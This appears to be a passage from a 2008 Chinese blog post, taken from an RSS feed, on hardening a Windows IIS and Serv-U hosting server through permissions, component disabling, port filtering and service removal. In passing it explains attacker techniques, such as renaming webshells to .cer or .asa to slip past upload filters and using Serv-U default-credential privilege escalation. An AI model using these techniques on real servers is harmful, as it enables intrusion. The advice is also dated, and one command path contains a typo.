<P>　　B、设置可更新文件权限：经过第1步站点根目录文件夹权限的设置后，Guest用户已经没有修改站点文件夹中任何内容的权限了。这显然对于一个有更新的站点是不够的。这时就需要对单独的需更新的文件进行权限设置。当然这个可能对虚拟主机提供商来说有些不方便。客户的站点的需更新的文件内容之类的可能都不一样。这时，可以规定某个文件夹可写、可改。如有些虚拟主机提供商就规定，站点根目录中uploads为web可上传文件夹，data或者database为数据库文件夹。这样虚拟主机服务商就可以为客户定制这两个文件夹的权限。当然也可以像有些做的比较好的虚拟主机提供商一样，给客户做一个程序，让客户自己设定。可能要做到这样，服务商又得花不小的钱财和人力哦。 </P>
<P>三、配置IIS 　　 </P>
<P>　　基本的配置应该大家都会，这里就提几个特殊之处或需要注意的地方。 </P>
<P>　　1、主目录权限设置：这里可以设置读取就行了。写入、目录浏览等都可以不要，最关键的就是目录浏览了。除非特殊情况，否则应该关闭，不然将会暴露很多重要的信息。这将为黑客入侵带来方便。其余保留默认就可以了。 </P>
<P>　　2、应用程序配置：在站点属性中，主目录这一项中还有一个配置选项，点击进入。在应用程序映射选项中可以看到，默认有许多应用程序映射。将需要的保留，不需要的全部都删除。在入侵过程中，很多程序可能限制了asp，php等文件上传，但并不对cer，asa等文件进行限制，如果未将对应的应用程序映射删除，则可以将asp的后缀名改为cer或者asa后进行上传，木马将可以正常被解析。这也往往被管理员忽视。另外添加一个应用程序扩展名映射，可执行文件可以任意选择，后缀名为.mdb。这是为了防止后缀名为mdb的用户数据库被下载。 </P>
<P>　　3、目录安全性设置：在站点属性中选择目录安全性，点击匿名访问和验证控制，选择允许匿名访问，点击编辑。如下图所示。删除默认用户，浏览选择对应于前面为cert网站设定的用户，并输入密码。可以选中允许IIS控制密码。这样设定的目的是为了防止一些像站长助手、海洋等木马的跨目录跨站点浏览，可以有效阻止这类的跨目录跨站入侵。 <BR></P>
<P>&nbsp;</P>
<P>　　4、可写目录执行权限设置：关闭所有可写目录的执行权限。由于程序方面的漏洞，目前非常流行上传一些网页木马，绝大部分都是用web进行上传的。由于不可写的目录木马不能进行上传，如果关闭了可写目录的执行权限，那么上传的木马将不能正常运行。可以有效防止这类形式web入侵。 </P>
<P>　　5、处理运行错误：这里有两种方法，一是关闭错误回显。IIS属性――主目录――配置――应用程序调试――脚本错误消息，选择发送文本错误信息给客户。二是定制错误页面。在IIS属性――自定义错误信息，在http错误信息中双击需要定制的错误页面，将弹出错误映射属性设置框。消息类型有默认值、URL和文件三种，可以根据情况自行定制。这样一方面可以隐藏一些错误信息，另外一方面也可以使错误显示更加友好。 </P>
<P>　　四、配置FTP </P>
<P>　　Ftp是绝大部分虚拟主机提供商必备的一项服务。用户的站内文件大部分都是使用ftp进行上传的。目前使用的最多的ftp服务器非Serv-U莫属了。这里有几点需要说明一下。 <BR>　　 <BR>　　1、管理员密码必须更改 </P>
<P>　　如果入侵爱好者们肯定对Serv-U提权再熟悉莫过了。这些提权工具使用的就是Serv-U默认的管理员的帐号和密码运行的。因为Serv-U管理员是以超级管理员的身份运行的。如果没有更改管理员密码，这些工具使用起来就再好用不过了。如果更改了密码，那这些工具要想正常运行，那就没那么简单喽。得先破解管理员密码才行。 </P>
<P>　　2、更改安装目录权限 </P>
<P>　　Serv-U的默认安装目录都是everyone可以浏览甚至可以修改的。安装的时候如果选择将用户信息存储在ini文件中，则可以在ServUDaemon.ini得到用户的所有信息。如果Guests有修改权限，那么黑客就可以顺利建立具有超级权限的用户。这可不是一件好事。所以在安装好Serv-U之后，得修改相应的文件夹权限，可以取消Guests用户的相应权限。 <BR>五、命令行相关操作处理 </P>
<P>　　1、禁止guests用户执行com.exe： </P>
<P>　　我们可以通过以下命令取消guests执行com.exe的权限 <BR>&nbsp;&nbsp;&nbsp; cacls C:\WINNT\system3\Cmd.exe /e /d guests。 </P>
<P>　　2、禁用Wscript.Shell组件： </P>
<P>　　Wscript.Shell可以调用系统内核运行DOS基本命令。可以通过修改注册表，将此组件改名，来防止此类木马的危害。HKEY_CLASSES_ROOT\Wscript.Shell\ 及HKEY_CLASSES_ROOT\Wscript.Shell.1\改名为其它的名字。将两项clsid的值也改一下HKEY_CLASSES_ROOT\Wscript.Shell\CLSID\项目的值和HKEY_CLASSES_ROOT\Wscript.Shell.1\CLSID\项目的值，也可以将其删除。 </P>
<P>　　3、禁用Shell.Application组件 </P>
<P>　　Shell.Application也可以调用系统内核运行DOS基本命令。可以通过修改注册表，将此组件改名，来防止此类木马的危害。HKEY_CLASSES_ROOT\Shell.Application\ 及HKEY_CLASSES_ROOT\Shell.Application.1\ 改名为其它的名字。将HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值更改或删除。同时，禁止Guest用户使用shell32.dll来防止调用此组件。使用命令：cacls C:\WINNT\system32\shell32.dll /e /d guests bbs.bitsCN.com中国网管论坛 </P>
<P>　　4、FileSystemObject组件 </P>
<P>　　FileSystemObject可以对文件进行常规操作可以通过修改注册表，将此组件改名，来防止此类木马的危害。对应注册表项为HKEY_CLASSES_ROOT\scripting.FileSystemObject\。可以禁止guests用户使用或直接将其删除。考虑到很多的上传都会使用到这个组件，为了方便，这里不建议更改或删除。 </P>
<P>　　5、禁止telnet登陆 <BR>　　 <BR>　　在C:\WINNT\system32目录下有个login.cmd文件，将其用记事本打开，在文件末尾另取一行，加入exit保存。这样用户在登陆telnet时，便会立即自动退出。 </P>
<P>　　注：以上修改注册表操作均需要重新启动WEB服务后才会生效。 </P>
<P>　　六、端口设置 <BR>　　 <BR>　　端口窗体底端就是门，这个比喻非常形象。如果我们服务器的所有端口都开放的话，那就意味着黑客有好多门可以进行入侵。所以我个人觉得，关闭未使用的端口是一件重要的事情。在控制面板――网络与拨号连接――本地连接――属性――Internet协议（TCP/IP）属性，点击高级，进入高级TCP/IP设置，选择选项，在可选的设置中选择TCP/IP筛选，启用TCP/IP筛选。添加需要的端口，如21、80等，关闭其余的所有未使用的端口。 <BR></P>
<P>&nbsp;</P>
<P>　　七、关闭文件共享 </P>
<P>　　系统默认是启用了文件共享功能的。我们应给予取消。在控制面板――网络和拨号连接――本地连接――属性，在常规选项种，取消Microsoft 网络文件和打印共享。服务最少原则是保障安全的一项重要原则。非必要的服务应该给予关闭。系统服务可以在控制面板――管理工具――服务中进行设定。 </P>
<P>　　八、关闭非必要服务 </P>
<P>　　类似telnet服务、远程注册表操作等服务应给予禁用。同时尽可能安装最少的软件。这可以避免一些由软件漏洞带来的安全问题。有些网管在服务器上安装QQ，利用服务器挂QQ，这种做法是极度错误的。 </P>
<P>　　九、关注安全动态及时更新漏洞补丁 </P>
<P>　　更新漏洞补丁对于一个网络管理员来说是非常重要的。更新补丁，可以进一步保证系统的安全。<BR></P></div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/2801612920083814737641</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/2801612920083814737641</guid>
    <pubDate>Tue, 8 Apr 2008 13:47:37 +0800</pubDate>
    <dcterms:modified>2008-04-08T13:47:37+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[我的密友]]></title>	
    <link></link>
    <description><![CDATA[<div>
			<a href="http://miminiu800930.blog.163.com/" target="_blank"><img src="http://ava.blog.163.com/photo/6M0St0pIMSiKTkowewwl5A==/170292360912229515.jpg" border="0" />钱多多</a>
</div>]]></description>
    <guid isPermaLink="false">http://gaojuiya.blog.163.com/friends</guid>
    <pubDate>Tue, 1 Jan 2008 00:00:00 +0800</pubDate>
    <dcterms:modified>2008-01-01T00:00:00+08:00</dcterms:modified>
  </item>    
 </channel>
</rss>